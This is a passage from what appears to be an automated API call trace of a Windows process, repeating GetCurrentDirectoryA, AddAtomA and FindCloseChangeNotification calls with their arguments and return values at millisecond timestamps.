nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.360] AddAtomA (lpString=0x0) returned 0x0 [0060.360] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.360] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.361] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.361] AddAtomA (lpString=0x0) returned 0x0 [0060.361] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.362] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.362] AddAtomA (lpString=0x0) returned 0x0 [0060.362] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.365] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.365] AddAtomA (lpString=0x0) returned 0x0 [0060.365] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.365] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.365] AddAtomA (lpString=0x0) returned 0x0 [0060.365] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.365] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.365] AddAtomA (lpString=0x0) returned 0x0 [0060.365] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.365] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.365] AddAtomA (lpString=0x0) returned 0x0 [0060.365] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.365] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.365] AddAtomA (lpString=0x0) returned 0x0 [0060.365] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.365] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.365] AddAtomA (lpString=0x0) returned 0x0 [0060.365] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.365] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.365] AddAtomA (lpString=0x0) returned 0x0 [0060.365] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.365] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.365] AddAtomA (lpString=0x0) returned 0x0 [0060.365] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.366] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.366] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.366] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.367] AddAtomA (lpString=0x0) returned 0x0 [0060.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.368] AddAtomA (lpString=0x0) returned 0x0 [0060.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.369] AddAtomA (lpString=0x0) returned 0x0 [0060.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.370] AddAtomA (lpString=0x0) returned 0x0 [0060.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.371] AddAtomA (lpString=0x0) returned 0x0 [0060.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.372] AddAtomA (lpString=0x0) returned 0x0 [0060.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.372] AddAtomA (lpString=0x0) returned 0x0 [0060.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.372] 